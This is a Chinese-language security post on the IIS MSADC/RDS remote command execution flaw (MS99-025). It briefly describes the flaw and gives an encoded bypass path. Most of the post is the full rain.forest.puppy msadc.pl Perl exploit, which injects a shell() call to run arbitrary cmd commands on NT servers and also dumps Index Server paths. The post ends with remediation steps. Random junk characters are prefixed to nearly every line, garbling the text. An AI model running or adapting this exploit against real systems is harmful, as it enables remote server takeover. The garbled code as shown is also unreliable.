IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
h$#QRH 2>l
=oXq 涉及程序：
0KW@ j>=jK Microsoft NT server
zJp}JO
1 _D|;/aI 描述：
QZcdfJck=+ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
GpjyF_L '@Zau\xC 详细：
B8+J0jdg6% 如果你没有时间读详细内容的话，就删除:
q Ee1OB c:\Program Files\Common Files\System\Msadc\msadcs.dll
()< E?D= 有关的安全问题就没有了。
RC_w 1:h OYw~I.Rq 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
4!'1o`8vs C2WWS(zn 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
$T\W 'W R> 关于利用ODBC远程漏洞的描述，请参看:
[@!.( Hp
8 |>$M http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm :r?gD2q _ >)+
u 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
P\; L#2n http://www.microsoft.com/security/bulletins/MS99-025faq.asp L5%t.7B 7H$0NMP 这里不再论述。
TU6e, G|t ^;";fr
Vw 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
o:H^
L,<Tl oCE=!75 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
V y]y73~ 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
+T*=JHOD pwg$% lv X?,ly3, #将下面这段保存为txt文件，然后: "perl -x 文件名"
VO _! + 2V6=F[T #!perl
c/l%:!A #
axJuJ`+Y # MSADC/RDS 'usage' (aka exploit) script
= oZHN, #
8@Zg@>, # by rain.forest.puppy
+mM=`[Z`?? #
U} EaV< # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
;x 9_ # beta test and find errors!
CqMm'6;$a} ! N\<QRb\q use Socket; use Getopt::Std;
_zAHN0d getopts("e:vd:h:XR", \%args);
wul$lJ?tE K? ;_T$^K print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
T&M*sydA $XBn:0U if (!defined $args{h} && !defined $args{R}) {
tUS)1*{_ print qq~
]V|rOt xb Usage: msadc.pl -h <host> { -d <delay> -X -v }
m5!~PG:_
-h <host> = host you want to scan (ip or domain)
^/n j2" -d <seconds> = delay between calls, default 1 second
}ll&qb -X = dump Index Server path table, if available
DuESLMhz -v = verbose
iFJ2dFA -e = external dictionary file for step 5
pkW }\r 3V)ef$Y0 Or a -R will resume a command session
8nt3 S m iD*%' #u ~; exit;}
7Hgh n"ol PI
KQ}aq= $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
C,*3a`/2M^ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
"Di27Rq if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
!Tc
jJ2T if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
M^q< qS>d $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
O T1 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
@ |bN[X L 4(
Q_J4}P if (!defined $args{R}){ $ret = &has_msadc;
#[|~m;K(w die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
4@2<dw|*h j7(sY o@x7 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
{{ hp;&x . "cmd /c ";
kF%EJuu $in=<STDIN>; chomp $in;
U_s3) /' $command="cmd /c " . $in ;
[i[*xf-B #Tc]L<." if (defined $args{R}) {&load; exit;}
8fV.NCyE o1Bn^ w print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
=>? ;Iv'Z &try_btcustmr;
oXC|q -(C bjn: e!} print "\nStep 2: Trying to make our own DSN...";
1D *oXE9Ig &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
/_WA F90R? $Hw
w print "\nStep 3: Trying known DSNs...";
D-{;;<nIr` &known_dsn;
'eyzH[l,( _?]0b7X print "\nStep 4: Trying known .mdbs...";
%7w=; ]ym &known_mdb;
w=NM==cLj OQ lmzg if (defined $args{e}){
u|;?FQ$M print "\nStep 5: Trying dictionary of DSN names...";
VI xGD#m &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
[&_7w \m RIhu9W print "Sorry Charley...maybe next time?\n";
d=` a-R0 exit;
968<yO] z7vc|Z|
##############################################################################
5j8aMnv s /
.wO<l= sub sendraw { # ripped and modded from whisker
AnF"+< sleep($delay); # it's a DoS on the server! At least on mine...
S b2hM ~ my ($pstr)=@_;
;jgk53lo socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
_Y{8FN(4 die("Socket problems\n");
Hw0S/ytY if(connect(S,pack "SnA4x8",2,80,$target)){
M~rN17S select(S); $|=1;
=`M xgK + print $pstr; my @in=<S>;
s3(m kdXv select(STDOUT); close(S);
U0ZT9/4 return @in;
*5|;e N } else { die("Can't connect...\n"); }}
oI\ Lepl* ,9A1p06 ##############################################################################
fL^$G;_?3 !.2t v sub make_header { # make the HTTP request
0oNN EC my $msadc=<<EOT
L3/SIoqd POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
6TR` O User-Agent: ACTIVEDATA
v3p0 Host: $ip
_4#Mdnh}[ Content-Length: $clen
AvmI<U Connection: Keep-Alive
(DLk+N4UHA ?-Qq\D^+ ADCClientVersion:01.06
I cJy$+ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
f|v5i tO2 C O c, --!ADM!ROX!YOUR!WORLD!
CX Q +h Content-Type: application/x-varg
5dv P~sw Content-Length: $reqlen
>(?}'pS8 !W\za0p EOT
V=i/cI\ ; $msadc=~s/\n/\r\n/g;
D` Cy]j return $msadc;}
XRl!~Y| < ) qJI'u| ##############################################################################
ut*sx9 l &GfDo4$ sub make_req { # make the RDS request
N9dx^+\ my ($switch, $p1, $p2)=@_;
rSg OQ my $req=""; my $t1, $t2, $query, $dsn;
N*1{yl76x &Z3u(Eb if ($switch==1){ # this is the btcustmr.mdb query
\ u*R6z $query="Select * from Customers where City=" . make_shell();
[ML|, kq! $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
;a j4V<@ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
.OM^@V~T A"3"f8P8a elsif ($switch==2){ # this is general make table query
3(oB[9]s $query="create table AZZ (B int, C varchar(10))";
J16t&Ha` $dsn="$p1";}
5cF7w QmKEl|/{u elsif ($switch==3){ # this is general exploit table query
5!s7`w]8*0 $query="select * from AZZ where C=" . make_shell();
Al
MMN"j $dsn="$p1";}
_:1s7EC h@2 YQgw` elsif ($switch==4){ # attempt to hork file info from index server
g`Kh& |GU $query="select path from scope()";
1 u~Xk? $dsn="Provider=MSIDXS;";}
[mcER4]} ;R W0Dn)Q elsif ($switch==5){ # bad query
yC:C $query="select";
qNuBK6E#4 $dsn="$p1";}
@e#{Sm I&J> $t1= make_unicode($query);
r}\m%(i $t2= make_unicode($dsn);
>2s31
{ $req = "\x02\x00\x03\x00";
j5:/G l8 $req.= "\x08\x00" . pack ("S1", length($t1));
4=nh'
U38 $req.= "\x00\x00" . $t1 ;
Z ~3 $req.= "\x08\x00" . pack ("S1", length($t2));
s~NJy'Y $req.= "\x00\x00" . $t2 ;
HhZ>/5'( $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
g=na3^ PL6 return $req;}
==Ah& ){4^ t" $#KP< ##############################################################################
ysH'X95 Z#t}yC%^d sub make_shell { # this makes the shell() statement
o.g)[$M8cF return "'|shell(\"$command\")|'";}
01 <Ti" 6n?0MMtR ##############################################################################
=c ;. cW 8x` E UJ sub make_unicode { # quick little function to convert to unicode
Ods~tM my ($in)=@_; my $out;
m4on<5s/ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
+zg3/C4 S return $out;}
= "('
#o GK`U<.[c ##############################################################################
Z [YSE T MP|$+yuR~ sub rdo_success { # checks for RDO return success (this is kludge)
s?Z{LWZ@ my (@in) = @_; my $base=content_start(@in);
p_B5fm7#6W if($in[$base]=~/multipart\/mixed/){
.)c+gyaQ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
M^&^ g return 0;}
2 {xf{)hO? ?~3Pydrb # ##############################################################################
^2 `*1el v ;nnr0; sub make_dsn { # this makes a DSN for us
| /X+2K}3 my @drives=("c","d","e","f");
C <d]0) print "\nMaking DSN: ";
n[gc`#7|{e foreach $drive (@drives) {
tiPZ.a~k print "$drive: ";
{U)q) my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
1wy?<B.f "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
~,Kx"V K . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
cB 6LJ}R $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
$EnBigb! return 0 if $2 eq "404"; # not found/doesn't exist
pS~=T}o if($2 eq "200") {
2AXf'IOqE foreach $line (@results) {
':7gYP*v return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
Y~B-dx'V } return 0;}
> ofWHl[- r]deVd G ##############################################################################
QKI g5I- M mQk@~ sub verify_exists {
>ra)4huZ my ($page)=@_;
gs(ZJO1 /L my @results=sendraw("GET $page HTTP/1.0\n\n");
Aj*|r
return $results[0];}
GGU>={D) f_z]kA
+H ##############################################################################
T2_b5j3i E/hO0Ox6 sub try_btcustmr {
Ce:w^P+ my @drives=("c","d","e","f");
$#-O^0D my @dirs=("winnt","winnt35","winnt351","win","windows");
@6Z6@Pq(xQ b"y4-KV foreach $dir (@dirs) {
.naSK`J,` print "$dir -> "; # fun status so you can see progress
{XH3zMk[ foreach $drive (@drives) {
/], 9 N print "$drive: "; # ditto
hO2W!68 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
BU O8 Z] $reqlenlen=length( "$reqlen" );
^g=j`f[ T $clen= 206 + $reqlenlen + $reqlen;
6eQa @[.Q !l$k6,WJi my @results=sendraw(make_header() . make_req(1,$drive,$dir));
r8>Qs RnU% if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
ub]s>aqy else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
v$Xoxp zym6b@+jN ##############################################################################
g'NR\<6A l\37 /Z sub odbc_error {
MxqIB(5k my (@in)=@_; my $base;
,rX|_4 n* my $base = content_start(@in);
~Kt2g\BSok if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
<q`| ,mc $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
GsoD^mjY $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
V *W H $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
[$@EQ]tt/ return $in[$base+4].$in[$base+5].$in[$base+6];}
M9.FtQhK/ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
i,mZg+;w print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
'yR\%#s6 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
)
D5JA` $U"pdf ##############################################################################
W)AfXy
:)F0~Q sub verbose {
_q}^#- my ($in)=@_;
-Np}<O`./ return if !$verbose;
] 4B&8n! print STDOUT "\n$in\n";}
),lE8A{ H A&{eC
C ##############################################################################
i.gag b 'u9y\vUy sub save {
-ZoAbp$ my ($p1, $p2, $p3, $p4)=@_;
U lPhW~F) open(OUT, ">rds.save") || print "Problem saving parameters...\n";
y;f nC5Q print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
Zd]ua_)I%[ close OUT;}
M63t4; 0A )O8w'4P5 ##############################################################################
NbK67p: I:M15 sub load {
ir~4\G! my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
|(=b open(IN,"<rds.save") || die("Couldn't open rds.save\n");
$XcuU
sG @p=<IN>; close(IN);
G_ #MXFWt $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
a&Me#H{ $target= inet_aton($ip) || die("inet_aton problems");
ri49r*_1 print "Resuming to $ip ...";
6('CB|ga $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
T2 TWb if($p[1]==1) {
*9US>m Vy $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
|=[. _ VH1 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
kR <\iT0j my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
5Vr#>W if (rdo_success(@results)){print "Success!\n";}
=3=8oF x8 else { print "failed\n"; verbose(odbc_error(@results));}}
\"9ysePI elsif ($p[1]==3){
C YdYa| if(run_query("$p[3]")){
C?]+(P print "Success!\n";} else { print "failed\n"; }}
7>3+]njw elsif ($p[1]==4){
P&Wf.qr{: if(run_query($drvst . "$p[3]")){
J
I E0O` print "Success!\n"; } else { print "failed\n"; }}
u17 9! exit;}
nq\~`vH|Gd rxOv YF ##############################################################################
HE-ErEtGB jpZ 7p ; sub create_table {
X.AE>fx*h my ($in)=@_;
hLaQ[9 $reqlen=length( make_req(2,$in,"") ) - 28;
~BgNM O;| $reqlenlen=length( "$reqlen" );
\^dYmU $clen= 206 + $reqlenlen + $reqlen;
0U ! _ o2] my @results=sendraw(make_header() . make_req(2,$in,""));
{Hz;*1?$k return 1 if rdo_success(@results);
T3t
w.yh my $temp= odbc_error(@results); verbose($temp);
QG5 c>Q return 1 if $temp=~/Table 'AZZ' already exists/;
=WK's8FB;8 return 0;}
"Mh}n -oju |Ew&. fgz ##############################################################################
oN,9# *PVL !gi3J @ sub known_dsn {
d!y_N&z|( # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
{( Ba my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
QEP|%$:i
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
Kc`#~-`,( "banner", "banners", "ads", "ADCDemo", "ADCTest");
k)a gbx 'JJ : foreach $dSn (@dsns) {
of>H&G)@ print ".";
B-wF1! Jv next if (!is_access("DSN=$dSn"));
L(}/W~En if(create_table("DSN=$dSn")){
4
;^ print "$dSn successful\n";
" ,]A ., if(run_query("DSN=$dSn")){
j|VX6U
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
" t,Z O print "Something's borked. Use verbose next time\n";}}} print "\n";}
,D' bIk 9
xFX"_J ##############################################################################
'\P+Bu ]6& [6%y RQ_ sub is_access {
?+L7Bd(EF% my ($in)=@_;
[jTZxH< $reqlen=length( make_req(5,$in,"") ) - 28;
)Mh5q&ow $reqlenlen=length( "$reqlen" );
{"_V,HmEF+ $clen= 206 + $reqlenlen + $reqlen;
Is!+ `[ma my @results=sendraw(make_header() . make_req(5,$in,""));
7T A& u' my $temp= odbc_error(@results);
[pSQ8zdF" verbose($temp); return 1 if ($temp=~/Microsoft Access/);
,S1'SCwVdJ return 0;}
7e H j"_; Fu65 VLKh ##############################################################################
v %S$5 -pQ0,/}K sub run_query {
pEY zB; my ($in)=@_;
=91f26c!~ $reqlen=length( make_req(3,$in,"") ) - 28;
*Tq7[v{0*| $reqlenlen=length( "$reqlen" );
wvH*<,8V q $clen= 206 + $reqlenlen + $reqlen;
~/!jKH7`j my @results=sendraw(make_header() . make_req(3,$in,""));
7lAn GP.; return 1 if rdo_success(@results);
q5 .5 %W my $temp= odbc_error(@results); verbose($temp);
^geY A y return 0;}
"F?p Y@4 C <H$}f ##############################################################################
:!fU+2$`^( W\O.[7JP sub known_mdb {
aL/7xa my @drives=("c","d","e","f","g");
6G:7r [ my @dirs=("winnt","winnt35","winnt351","win","windows");
l?KP /0` my $dir, $drive, $mdb;
$Q`\- my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
VW :Voc \n-.gG # this is sparse, because I don't know of many
2lxA/.f my @sysmdbs=( "\\catroot\\icatalog.mdb",
p e$WSS J "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
L7N>p4h]Xj "\\system32\\certmdb.mdb",
<H| ]^An!H "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
C a3
{e1 UM. Se(kS my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
*s!T$oc "\\cfusion\\cfapps\\forums\\forums_.mdb",
Kp [5"N8 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
DK<}q1xi "\\cfusion\\cfapps\\security\\realm_.mdb",
rR(\fX!dg "\\cfusion\\cfapps\\security\\data\\realm.mdb",
Q'rX ]kk_ "\\cfusion\\database\\cfexamples.mdb",
W1[C/dDc "\\cfusion\\database\\cfsnippets.mdb",
sX(rJLbD "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
*!,k`=.([# "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
P]4@|u;=6[ "\\cfusion\\brighttiger\\database\\cleam.mdb",
(!T\[ 6 "\\cfusion\\database\\smpolicy.mdb",
fKa]F`p_h "\\cfusion\\database\cypress.mdb",
&izk$~ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
8zpTCae^=7 "\\website\\cgi-win\\dbsample.mdb",
`'ak/%Krh "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
$
3 R5p "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
xS_ tB)C ); #these are just
;eP. B/N foreach $drive (@drives) {
nD Xy$ f8 foreach $dir (@dirs){
?d)FY B foreach $mdb (@sysmdbs) {
RY~ m Q print ".";
a'7RzN ,] if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
rM20Y(| print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
} 5y ]kn if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
M"8?XD% print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
/ 16 r_l } else { print "Something's borked. Use verbose next time\n"; }}}}}
cFoeyI# v bJL ,pe+u foreach $drive (@drives) {
/%P,y+<}iG foreach $mdb (@mdbs) {
\m+;^_;5GW print ".";
"=UhTE if(create_table($drv . $drive . $dir . $mdb)){
f1I/aR V:+ print "\n" . $drive . $dir . $mdb . " successful\n";
da$ErN '{ if(run_query($drv . $drive . $dir . $mdb)){
_x<7^^VT print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
0 fx.n } else { print "Something's borked. Use verbose next time\n"; }}}}
kQ .3J.Q5 }
!D 9 V9p =]-D_$S~ ##############################################################################
uD:tT ~ )"s(;kU! sub hork_idx {
!H`uN
print "\nAttempting to dump Index Server tables...\n";
cB7'>L print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
Y%8[bL$
d $reqlen=length( make_req(4,"","") ) - 28;
IR"=8w#MP $reqlenlen=length( "$reqlen" );
~.Cu,>fV $clen= 206 + $reqlenlen + $reqlen;
-7m 7.>/M my @results=sendraw2(make_header() . make_req(4,"",""));
yj
mNe Z if (rdo_success(@results)){
O2Tna<cR& my $max=@results; my $c; my %d;
I0Of K3!^ for($c=19; $c<$max; $c++){
,h'omU7 $results[$c]=~s/\x00//g;
cnM`ywKW $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
/ KxZ+Ww>v $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
{y|j**NZ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
n)rSg zI $d{"$1$2"}="";}
G \
/L.T foreach $c (keys %d){ print "$c\n"; }
7 niI65 } else {print "Index server doesn't seem to be installed.\n"; }}
-to 3 I ^j7]> I ##############################################################################
" = * U_5\ FM sub dsn_dict {
E1>zKENN; open(IN, "<$args{e}") || die("Can't open external dictionary\n");
j6BFh=?D while(<IN>){
+qmV|$rm M $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
j.UO>1{7 next if (!is_access("DSN=$dSn"));
./}W 3 if(create_table("DSN=$dSn")){
_Zbgma sb print "$dSn successful\n";
]]|vQA^ if(run_query("DSN=$dSn")){
TuzH'F print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
;V4f6[<]'z print "Something's borked. Use verbose next time\n";}}}
s6_[H print "\n"; close(IN);}
E=l^&[dIl ~ tqDh( ##############################################################################
]}BT'fky# t +n+ _X sub sendraw2 { # ripped and modded from whisker
f_ Uw IP sleep($delay); # it's a DoS on the server! At least on mine...
I=}R
Z9 my ($pstr)=@_;
X&.LX socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
41\V;yib die("Socket problems\n");
p}h9>R if(connect(S,pack "SnA4x8",2,80,$target)){
rTM0[ 2N print "Connected. Getting data";
o`\@Yq$. open(OUT,">raw.out"); my @in;
(?~*.g! select(S); $|=1; print $pstr;
[2nPr^ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
(J`E C close(OUT); select(STDOUT); close(S); return @in;
#l_hiD`;r } else { die("Can't connect...\n"); }}
1'9YY")# SgY\h{{sP ##############################################################################
[HQ Bx`3TS mf)E%qo sub content_start { # this will take in the server headers
?a` $Y>?h my (@in)=@_; my $c;
Iqb|.v LG for ($c=1;$c<500;$c++) {
iPt{v 5}] if($in[$c] =~/^\x0d\x0a/){
A{ a`%FAV if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
]nQ(|$rW
else { return $c+1; }}}
^I6GH?19>e return -1;} # it should never get here actually
aKC3v R0 +zSdP2s ##############################################################################
~b LhI `r. sub funky {
Mt +gg F. my (@in)=@_; my $error=odbc_error(@in);
C07 U.nzh if($error=~/ADO could not find the specified provider/){
ftbOvG/
I print "\nServer returned an ADO miscofiguration message\nAborting.\n";
z N J-JIo% exit;}
rqYx\i? if($error=~/A Handler is required/){
!!UQ,yU print "\nServer has custom handler filters (they most likely are patched)\n";
w"B M J+ exit;}
3(>NS ?lX if($error=~/specified Handler has denied Access/){
'A9 U[| print "\nServer has custom handler filters (they most likely are patched)\n";
y7Y g$)sL exit;}}
S$Fq1 ^ot9Q ##############################################################################
bGa "r pn4~?Aua0/ sub has_msadc {
/&G )IY]g my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
v(z2,?/4 my $base=content_start(@results);
&Ch~$Wb^ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
c9R|0Yn^J return 0;}
)>rHM6-W kK$*,]iCp ########################
y,=TB[d# *p 7_rY \x+ "1 解决方案：
ajALca4 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
Af7&; 8pM 2、移除web 目录: /msadc
